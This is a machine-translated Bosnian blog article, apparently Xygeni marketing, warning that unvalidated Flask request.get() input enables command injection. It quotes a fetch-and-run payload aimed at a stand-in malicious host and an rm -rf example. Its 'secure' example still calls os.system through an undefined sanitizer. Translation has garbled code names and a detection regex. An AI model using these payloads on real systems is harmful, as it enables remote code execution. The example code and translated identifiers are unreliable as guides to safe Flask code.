request.get - sanitizacija ulaza - sigurnost flaše

Nikad ne vjerujte funkciji request.get() bez sanitizacije: Kako unos uništava sigurnost Flaska

Zamka je postavljena: Kako request.get() otvara vrata

U 2023. godini, fintech startup je implementirao interni sistem zasnovan na Flasku. dashboard što je omogućavalo DevOps osoblju da daljinski pokreće infrastrukturne zadatke. Jedna od ruta koristila je request.args.get("cmd") za preuzimanje shell komande iz upitnog niza i njeno direktno prosljeđivanje sistemskom pozivu.

Ovo se činilo sigurnim pod pretpostavkom da samo pouzdani korisnici pristupaju internom dashboardMeđutim, zbog pogrešno konfiguriranog obrnutog proxyja, servis je bio javno izložen nekoliko sati. Tokom tog vremenskog perioda, automatizirani skeneri su otkrili krajnju tačku.

Napadači su to brzo iskoristili koristeći posebno formulisan zahtjev poput ?cmd=curl+http://malicious.site/evil.sh|sh, što je rezultiralo udaljenim izvršavanjem koda (RCE). Odatle su pristupili metapodacima i akreditivima instance AWS-a, što je dovelo do krađe podataka i eskalacije privilegija.

Ovo nije bio sofisticiran napad; u potpunosti ga je omogućio neprovjereni unos iz request.get(). Aplikaciji je nedostajala autentifikacija, niti je bilo sanitizacije unosa. Još gore, nijedan alat za statičku analizu nije označio rizik jer je tim pretpostavio da je aplikacija sigurna zbog svog isključivo internog konteksta.

Ovaj članak nije o tome kako iskoristiti takve nedostatke. Njegova svrha je da pomogne programerima da prepoznaju ovaj nesiguran obrazac, razumiju rizike i usvoje sigurne prakse kodiranja kako bi spriječili slične incidente.

Eksploatacija u akciji: Flask aplikacija oštećena unosom

U ovom odjeljku predstavljamo minimalističku Flask aplikaciju koja pokazuje koliko brzo stvari mogu poći po zlu kada zahtjev.dobi() se koristi bez validacije. Jednostavnost ovog primjera naglašava opasnost, čak i nekoliko linija nesigurnog koda može izložiti vaš sistem ozbiljnim prijetnjama.

Ova krajnja tačka traje cmd parametar iz zahtjeva i prosljeđuje ga direktno os.system(), što omogućava svakome ko može pristupiti krajnjoj tački da izvršava proizvoljne sistemske naredbe. Nema provjera unosa, nema sanitizacije unosa, nema guardrailsOvo je školski primjer kako se ne treba rukovati korisničkim unosom.

zahtjev.dobiti

Bez validacije, napadači mogu ovo iskoristiti prosljeđivanjem opasnih shell naredbi direktno u nizu upita. Na primjer, jednostavan zahtjev kao što je curl 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' mogao bi obrisati kritične direktorije. Naredba se izvršava kakva jeste, bez filtriranja, dajući napadaču daljinsko izvršenje koda (RCE) mogućnosti.

Prava opasnost leži u tome koliko tiho ova ranjivost prolazi kroz razvoj pipelines. Pošto nije bilo alati za statičku analizu konfigurisano za otkrivanje nesigurnih obrazaca poput nesterilizovanih zahtjev.dobi(), a budući da se vjerovalo da se krajnja tačka koristi samo interno, niko nije prijavio problem tokom pregleda koda. Ova uobičajena DevOps slijepa tačka, povjerenje u interna okruženja i preskakanje validacije radi brzine, omogućilo je da kritična ranjivost neotkriveno dođe do produkcije.

Gdje sve pukne: Uobičajene zamke kod programera

Mnoge ozbiljne ranjivosti u Flask aplikacijama ne potiču od složene logike, već od jednostavnih, ponovljenih grešaka. Kada se brzina razvoja da prioritet nad sigurnošću, određeni rizični obrasci postaju normalizovani, često bez da programeri shvataju njihove dugoročne posljedice.

Evo najčešćih grešaka:

  • korišćenje zahtjev.dobi() bez validacije ili zadanih vrijednosti
    Programeri često koriste zahtjev.args.dobi() za brzo izdvajanje parametara iz zahtjeva. Bez zadanih vrijednosti ili validacije, ovo dovodi do nepredvidivog ponašanja, kao što je prosljeđivanje nijedan u logiku ili omogućavanje sirovog korisničkog unosa u opasne operacije.
  • Vjerovanje vanjskom unosu bez provjera
    Bez obzira da li unos dolazi iz javnog obrasca, API gateway-a ili internog dashboard, mora se tretirati kao nepouzdano. Pretpostavka da je sigurno samo zato što je iza VPN-a ili ga koriste interni timovi je kritična pogrešna procjena.
  • Delegiranje sigurnosti bibliotekama trećih strana bez provjere ponašanja
    Iako biblioteke mogu apstrahirati funkcionalnost, ne treba im slijepo vjerovati u provođenju sigurnosti. Uvijek imajte na umu kako obrađuju ulazne podatke i po potrebi umotajte vanjski kod u slojeve validacije.
  • Nema definicija tipova ili validacije ulaza u obrađivačima ruta
    Flask omogućava dinamičko tipiziranje i fleksibilno rukovanje zahtjevima, ali to može brzo dovesti do grešaka ili nedostataka ubrizgavanja. Bez eksplicitnog provođenja tipova i validacije sheme, neočekivani unos može zaobići logiku ili prekinuti nizvodne servise.

Ove greške su često uzrokovane pritiskom da se djeluje brzo, da se neka funkcija objavi ili da se ispravka implementira. Ali svaka prečica umanjuje sigurnost vaše aplikacije. Sigurno kodiranje mora biti standard, nije izuzetak.

Zašto je request.get() rizičan po defaultu

Na prvi pogled, zahtjev.dobi(), uključujući i njegove varijante poput zahtjev.args.dobi() i zahtjev.form.dobi(), izgleda bezopasno i praktično. Ali ispod te jednostavnosti krije se opasna pretpostavka: da su dolazni podaci pouzdani.

Ova pretpostavka je pogrešna. Bez obzira da li gradite javni API ili interni alat, klijentski unos se uvijek mora tretirati kao nepouzdan. Pa ipak, u mnogim razvojnim timovima, posebno kada se radi s mikroservisima ili internim dashboardDakle, postoji tendencija da se preskače validacija „jer je interna“. Ovakav način razmišljanja otvara vrata kritičnim ranjivostima.

Zašto je ovo rizično

  • Nema provođenja tipa: zahtjev.dobi() Vraća podatke kakvi jesu. Ne provjerava tip, format ili prisustvo obaveznih polja.
  • Tihi kvaroviAko ključ nedostaje, vraća nijedan, što često dovodi do neželjenog ponašanja ili logičkih grešaka nizvodno.
  • Nema filtriranjaNe uklanja niti dezinficira štetne unose, ostavljajući vašu aplikaciju ranjivom na napade injektiranjem.

Iluzija unutrašnje sigurnosti

U okruženjima s puno mikroservisa ili alatima koji stoje iza VPN-ova, programeri se često oslanjaju na granice infrastrukture kao svoju primarnu odbranu. To dovodi do lažnog osjećaja sigurnosti. Pogrešne konfiguracije, procurili podaci o pristupu ili izložena usluga mogu brzo pretvoriti "samo za internu upotrebu" u "javno iskorištavajuću". zahtjev.dobi() nije problem; slijepo vjerovanje jeste. Bez validacije unosa, napadačima dajete direktan pristup logici vaše aplikacije i potencijalno vašoj infrastrukturi.

Osigurajte tok: Ispravna validacija korisničkog unosa

Temelj sigurnosti Flaska je jednostavan: nikad ne obrađujem ulaz bez strukturirane validacijeSvaki podatak koji vaša aplikacija prima, bilo da se radi o parametrima upita, obrascima ili API-jima, mora se tretirati kao nepouzdan i rigorozno validirati prije upotrebe.

Preporučene biblioteke za validaciju ulaza

Python-ov ekosistem nudi nekoliko zrelih biblioteka prilagođenih validaciji podataka zahtjeva:

  • bijeli slez – Odlično za definiranje shema i deserijalizaciju podataka.
  • Pydantic – Poznat po modelima sigurnim za tip; široko se koristi u FastAPI-ju, ali dobro funkcioniše i u Flasku.
  • WTForms – Idealno za rukovanje obrascima i validaciju u tradicionalnim web aplikacijama.

Ovi alati olakšavaju definiranje i provođenje strukture, tipova i ograničenja korisničkog unosa.

Šta treba validirati

  • tipoviOsigurajte da su cijeli brojevi cijeli brojevi, stringovi stringovi, a logičke vrijednosti logičke vrijednosti.
  • Rasponi i dužinePostavite granice za brojeve i nametnite minimalne i maksimalne dužine za stringove.
  • Obavezna poljaEksplicitno zahtijevati prisustvo određenih parametara.
  • PatternsKoristite regularne izraze za validaciju očekivanih formata poput e-mailova, tokena ili naziva datoteka.

Primjer sa sljezom:

python from marshmallow import Schema, fields, ValidationError  class CommandSchema(Schema):     cmd = fields.String(required=True)  schema = CommandSchema()  @app.route('/run') def run():     try:         args = schema.load(request.args)         safe_cmd = sanitize_cmd(args['cmd'])  # whitelist-based sanitation         os.system(safe_cmd)     except ValidationError as e:         return str(e), 400 

Dekorateri za višekratnu upotrebu za čist kod

Možete kreirati dekoratere kako biste dosljedno primjenjivali validaciju na više ruta:

python def validate_with(schema):     def decorator(f):         def wrapped(*args, **kwargs):             try:                 validated = schema.load(request.args)                 return f(validated, *args, **kwargs)             except ValidationError as e:                 return str(e), 400         return wrapped     return decorator 

Bottom Line

Strukturirana validacija nije opcionalna; ona je neophodna. Nikada ne vjerujte sirovim ulaznim podacima, čak ni u internim sistemima. Uvijek koristite sheme, uvijek provjeravajte tipove i formate i uvijek "sanitizirajte" ono što obrađujete.

DevSecOps ispravke: Pipeline Security, Pomakni lijevo

Sigurnost ne bi trebala početi u produkciji; trebala bi početi u trenutku pisanja koda. Ovo je osnovni princip iza "Pokret "Shift Left": otkrivanje sigurnosnih problema rano u životnom ciklusu razvoja, prije nego što uopšte dođu do vremena izvođenja.

Provedite sigurnost od samog početka Commit

Da biste efikasno uhvatili rizičnu upotrebu request.get() i sličnih obrazaca, integrirajte sigurnost direktno u svoj CI/CD pipeline. Evo kako:

  • dodati SAST pravila (Statičko testiranje sigurnosti aplikacija) u vaš tok rada. Ova pravila mogu otkriti opasan kod poput nesteriliziranih poziva request.get() koji se prosljeđuju sistemskim funkcijama.
  • Automatizirajte provjere pomoću alata poput Bandit-a, Semgrep-a ili prilagođenih skripti. Pokrenite ih kao dio GitHub Actions-a, GitLab CI-a ili Bitbucket-a. Pipelines.
  • Definirajte prilagođene politike za označavanje nesigurnih praksi kao što je korištenje request.args.get() bez validacije.

Blokirajte spajanja koja uvode rizik

Kod koji ne prođe provjeru validacije ne bi trebalo biti dozvoljen za spajanje. Sprečavanje ranjivosti commitSpajanjem se nameće sigurnosna disciplina u svim timovima i pomaže u stvaranju kulture odgovornosti.

jobs:   secure-check:     runs-on: ubuntu-latest     steps:       - uses: actions/checkout@v2       - name: Run Bandit         run: bandit -r app/ -ll 

Ugradnjom automatske sigurnosne analize u vaš pipeline, probleme uočavate čim se pojave, a ne nakon što se objave. Ovo smanjuje rizik, štedi vrijeme i pomaže timovima da s povjerenjem implementiraju Flask aplikacije.

Ne vjerujte paketu: Rizik treće strane

dok biblioteke trećih strana mogu povećati produktivnost, oni također mogu tiho uvesti sigurnosne ranjivosti, posebno kada je u pitanju rukovanje ulaznim podacima.

Pravi rizici od nesigurnih paketa

Bilo je slučajeva gdje su pouzdane biblioteke izvršavale nesigurne operacije "u podsvijesti", kao što je čitanje korisničkog unosa pomoću request.get() i njegovo direktno prosljeđivanje funkcijama poput eval(), open() ili sistemskim naredbama. Ove greške su često skrivene iza slojeva apstrakcije, što ih otežava otkrivanje tokom pregleda koda.

Na primjer, uslužni program namijenjen pojednostavljenju prijenosa datoteka koristio je neprovjerene parametre upita za konstruiranje putanja datoteka, obrazac koji je pozivao na prelazak putanja i neovlašteni pristup datotekama.

Tranzitivne zavisnosti: Skrivena prijetnja

Čak i ako su vaše direktne zavisnosti sigurne, tranzitivne zavisnosti možda i nije. Ovo su paketi od kojih vaše biblioteke zavise i mogu izazvati rizično ponašanje bez vašeg znanja. Manje ažuriranje zavisnosti duboko u vašem steku moglo bi uvesti neprovjereno korištenje request.get() na mjestima koja ne kontrolišete. Ovaj rizik se multiplicira u mikroservisima i internim alatima koji se uveliko oslanjaju na manje, specijalizirane biblioteke.

Šta učiniti?

  • Redovno provjeravajte zavisnosti, uključujući i tranzitivne.
  • Koristite alate poput pip-audit, Safety ili GitHub Dependabot za skeniranje poznatih ranjivosti.
  • Ručno pregledajte kako eksterni paketi obrađuju korisnički unos, posebno ako interaguju s rutama ili parametrima zahtjeva.

Nikada ne pretpostavljajte da paket, bez obzira koliko je mali ili poznat, nameće vašu sigurnost. standardUvijek provjerite ulazne podatke iz vanjskih izvora prije nego što uđu u logiku vaše aplikacije.

Higijena programera: DevSecOps obrazovanje i kultura

Izgradnja sigurnih aplikacija nije samo stvar alata; radi se o kulturi. Timovi moraju internalizirati sigurnost kao dio svog razvojnog identiteta. To znači da sigurno kodiranje, posebno validacija unosa, postane neizostavan dio svakog radnog procesa.

Učinite validaciju unosa dijelom pregleda koda

Svaki pregled koda treba da postavi sljedeće pitanje:

  • Da li se korisnički unos potvrđuje/validira?
  • Da li su uspostavljene sheme ili provjere tipova?
  • Da li se sirovi ulaz prenosi u logiku ili naredbe?

Podsticanje ovih provjera tokom međusobnog ocjenjivanja podstiče način razmišljanja u kojem je sigurnost posao svih, a ne samo sigurnosnog tima.

Definiranje politika sigurnog kodiranja za Flask API-je

Utvrdite interne smjernice koje preciziraju:

  • Kako rukovati unosom zahtjeva (nikada ne vjerovati request.get() bez validacije)
  • Kada i kako koristiti biblioteke poput Marshmallowa ili Pydantica
  • Zahtjevi za korištenje dekoratora i validacije sheme u rutama

Učinite ove politike dijelom vaše dokumentacije za uvođenje u posao i njegovog osposobljavanja.

Alati za otkrivanje nesigurnih obrazaca

Koristite automatizaciju za rano i dosljedno otkrivanje rizičnih obrazaca:

  • Linteri: Alati poput flake8, pylint ili ruff mogu se proširiti dodacima za otkrivanje zloupotrebe request.get().
  • Pre-commit hooksAutomatski skenira opasne obrasce čak i prije nego što je kod uopće committed.
  • Statički analizatori: Alati poput Bandit-a, Xygeni-ja ili Semgrep-a mogu označiti nesigurno rukovanje ulaznim podacima, nedostajuću validaciju ili nesigurne tokove podataka.

Izgradite kulturu

Sigurnost nije samo tehnička, već i bihevioralna. Kada je validacija druga priroda, kada pregledi daju prioritet sigurnosti i kada alati nameću... standardAutomatski, vaš tim postaje otporan po svojoj prirodi.

Xygeni: Kako sprečava ove probleme

Xygeni pomaže u zatvaranju tih vrata od trenutka pisanja koda. To je platforma za sigurnosnu automatizaciju koja otkriva opasne obrasce, poput korištenja nesteriliziranog request.get(), već od prvog commit.

Rano otkrivanje već na početku

Xygeni skenira svakih commit i pull request za identifikaciju nesigurne upotrebe request.get() i sličnih anti-šablona. Označava instance gdje ulaz nije validiran prije nego što se proslijedi kritičnim funkcijama kao što su os.system, eval ili operacije s datotekama.

Ovaj proaktivni pristup osigurava da rizičan kod nikada tiho ne stigne do produkcije.

Automatski blokiraj nesigurna spajanja

Pored detekcije, Xygeni omogućava timovima da sprovode politike koje sprečavaju spajanje nesigurnog koda. Ove politike su prilagodljive, omogućavajući organizacijama da definišu šta je prihvatljivo, a šta nije na osnovu njihove interne Flask sigurnosti. standards.

Šablon: "zahtjev\.args\.dobi\(['\"]\w+['\"]\)"

stanje: "koristi se u os\.system ili open() ili exec()"

akcija: "blok"

bešavni CI/CD integracija

Xygeni se bez napora integrira s platformama kao što su:

Bez obzira da li koristite CI zasnovan na oblaku ili samostalno hostovanu pipelineXygeni se bez prekida uklapa u vaš radni proces, dosljedno primjenjujući Flask sigurnosne politike u svakom repozitoriju.

Ugradnjom sigurnosnih provjera direktno u vaš razvoj pipelineXygeni osigurava da se nesigurni obrasci otkriju rano, brzo pregledaju i isprave prije nego što uzrokuju štetu.

Završni udarac: Čist unos ili kompromitacija

Važno je naglasiti: ovo nije samo sigurnosni problem Flaska. Osnovni problem je povjerenje u korisnički unos, bez obzira na okvir ili okruženje.

Nevalidirani unos je univerzalni vektor prijetnje; dovodi do udaljenog izvršavanja koda, kršenja podataka, eskalacije privilegija i na kraju gubitka kontrole nad vašim sistemima. Zato se validacija mora tretirati kao prioritet u svim razvojnim procesima. Validiraj sve. Ne pretpostavljaj ništa. Uvijek dezinficiraj.

Validacija nije opcionalna. Nije nešto što je "lijepo imati". To je neizostavan dio sigurnog razvoja softvera. Neuspjeh u validaciji ulaznih podataka je kao da ostavite otvorena ulazna vrata u opasnom susjedstvu; neko će na kraju ući.

Bez obzira da li gradite API-je za javnu upotrebu ili interne servise iza VPN-ova, unos mora biti validiran i sanitiziran. Svaki parametar, svako polje obrasca, svaki niz upita, uvijek.

Najbolje prakse navedene u ovom članku, validacija zasnovana na shemi, statička analiza koda, sigurno pipelinei kulturna higijena su ključni za odbranu od zloupotrebe request.get() i sličnih nesigurnih obrazaca.

sca-tools-software-alati-za-analizu-sastava
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

sa Xygeni paketom proizvoda